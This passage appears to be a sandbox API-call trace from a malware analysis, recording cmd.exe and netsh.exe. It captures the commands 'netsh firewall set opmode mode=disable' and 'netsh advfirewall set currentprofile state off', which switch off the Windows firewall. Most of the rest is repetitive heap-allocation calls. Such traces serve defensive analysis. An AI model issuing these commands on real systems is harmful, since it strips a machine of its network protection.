dwFlags=0x0, lpMem=0x429880 | out: hHeap=0x410000) returned 1 [0257.102] GetProcessHeap () returned 0x410000 [0257.102] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424610 | out: hHeap=0x410000) returned 1 [0257.102] GetProcessHeap () returned 0x410000 [0257.102] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x4297c0 | out: hHeap=0x410000) returned 1 [0257.102] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f398 | out: _Buffer="\r\n") returned 2 [0257.102] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.102] GetFileType (hFile=0xcc) returned 0x3 [0257.102] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0257.102] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f368, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f368*=0x2, lpOverlapped=0x0) returned 1 [0257.102] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0257.102] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.103] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0257.103] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x24f3a8 | out: _Buffer=">") returned 1 [0257.103] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.103] GetFileType (hFile=0xcc) returned 0x3 [0257.103] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0257.103] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x24f398, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f398*=0x14, lpOverlapped=0x0) returned 1 [0257.103] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.103] GetFileType (hFile=0xc0) returned 0x3 [0257.103] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.103] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.103] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0257.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="eetsh firewall set opmode mode=disable\nate off\n") returned 1 [0257.103] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.103] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.104] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0257.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="xtsh firewall set opmode mode=disable\nate off\n") returned 1 [0257.104] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.104] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.104] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0257.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="ish firewall set opmode mode=disable\nate off\n") returned 1 [0257.104] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.104] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.104] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0257.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="th firewall set opmode mode=disable\nate off\n") returned 1 [0257.104] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.104] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.104] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0257.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="\n firewall set opmode mode=disable\nate off\n") returned 1 [0257.104] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.104] GetFileType (hFile=0xc0) returned 0x3 [0257.104] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.104] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.104] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.104] GetFileType (hFile=0xcc) returned 0x3 [0257.104] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6 [0257.105] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x24f678, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f678*=0x5, lpOverlapped=0x0) returned 1 [0257.105] GetProcessHeap () returned 0x410000 [0257.105] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x430e70 [0257.105] GetProcessHeap () returned 0x410000 [0257.105] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x430e70 | out: hHeap=0x410000) returned 1 [0257.105] GetProcessHeap () returned 0x410000 [0257.105] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x4297c0 [0257.105] GetProcessHeap () returned 0x410000 [0257.105] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1a) returned 0x424610 [0257.105] GetConsoleOutputCP () returned 0x1b5 [0257.105] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0257.105] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.106] GetConsoleTitleW (in: lpConsoleTitle=0x24f630, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0257.106] GetProcessHeap () returned 0x410000 [0257.106] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x14) returned 0x425c50 [0257.106] GetProcessHeap () returned 0x410000 [0257.106] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1a) returned 0x424640 [0257.106] GetProcessHeap () returned 0x410000 [0257.106] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x21c) returned 0x429be0 [0257.106] GetConsoleTitleW (in: lpConsoleTitle=0x429bf0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0257.106] GetProcessHeap () returned 0x410000 [0257.106] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429be0, Size=0x80) returned 0x429be0 [0257.106] GetProcessHeap () returned 0x410000 [0257.106] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429be0) returned 0x80 [0257.106] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - exit") returned 1 [0257.107] GetProcessHeap () returned 0x410000 [0257.107] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429be0 | out: hHeap=0x410000) returned 1 [0257.107] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0257.108] exit (_Code=0) Process: id = "15" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x6fa87000" os_pid = "0x60c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x310" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x6a8 [0200.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fa30 | out: lpSystemTimeAsFileTime=0x12fa30*(dwLowDateTime=0xfd85bd20, dwHighDateTime=0x1d696f3)) [0200.128] GetCurrentProcessId () returned 0x60c [0200.128] GetCurrentThreadId () returned 0x6a8 [0200.128] GetTickCount () returned 0x113dd74 [0200.128] QueryPerformanceCounter (in: lpPerformanceCount=0x12fa38 | out: lpPerformanceCount=0x12fa38*=12734606563) returned 1 [0200.130] GetModuleHandleW (lpModuleName=0x0) returned 0xe00000 [0200.130] __set_app_type (_Type=0x1) [0200.130] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe0ad14) returned 0x0 [0200.130] __wgetmainargs (in: _Argc=0xe155c0, _Argv=0xe155d0, _Env=0xe155c8, _DoWildCard=0, _StartInfo=0xe155dc | out: _Argc=0xe155c0, _Argv=0xe155d0, _Env=0xe155c8) returned 0 [0200.131] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0200.132] GetModuleHandleW (lpModuleName=0x0) returned 0xe00000 [0200.132] _vsnwprintf (in: _Buffer=0xe17a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x127588 | out: _Buffer="netsh>") returned 6 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2026f0 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202710 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202730 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202750 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202770 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202790 [0200.132] GetProcessHeap () returned 0x1e0000 [0200.132] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2027e0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202800 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202820 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202840 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202860 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202880 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2028a0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2028c0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2028e0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202900 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202920 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202940 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202960 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202980 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2029a0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2029c0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.133] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2029e0 [0200.133] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202a00 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202a20 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202a40 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202a60 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202a80 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202aa0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ac0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ae0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202b00 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202b20 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202b40 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202b60 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202b80 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ba0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202bc0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202be0 [0200.134] GetProcessHeap () returned 0x1e0000 [0200.134] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202c00 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202c20 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202c40 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202c60 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202c80 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ca0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202cc0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ce0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202d00 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202d20 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202d40 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202d60 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202d80 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202da0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202dc0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202de0 [0200.135] GetProcessHeap () returned 0x1e0000 [0200.135] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202e00 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202e20 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202e40 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202e60 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202e80 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ea0 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ec0 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202ee0 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202f00 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202f20 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202f40 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202f60 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202f80 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x202fe0 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203000 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.136] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203020 [0200.136] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203040 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203060 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203080 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2030a0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2030c0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2030e0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203100 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203120 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203140 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203160 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203180 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2031a0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2031c0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2031e0 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203200 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.137] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203220 [0200.137] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203240 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203260 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203280 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2032a0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2032c0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2032e0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203300 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203320 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203340 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203360 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203380 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2033a0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2033c0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2033e0 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203400 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203420 [0200.138] GetProcessHeap () returned 0x1e0000 [0200.138] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203440 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203460 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203480 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap 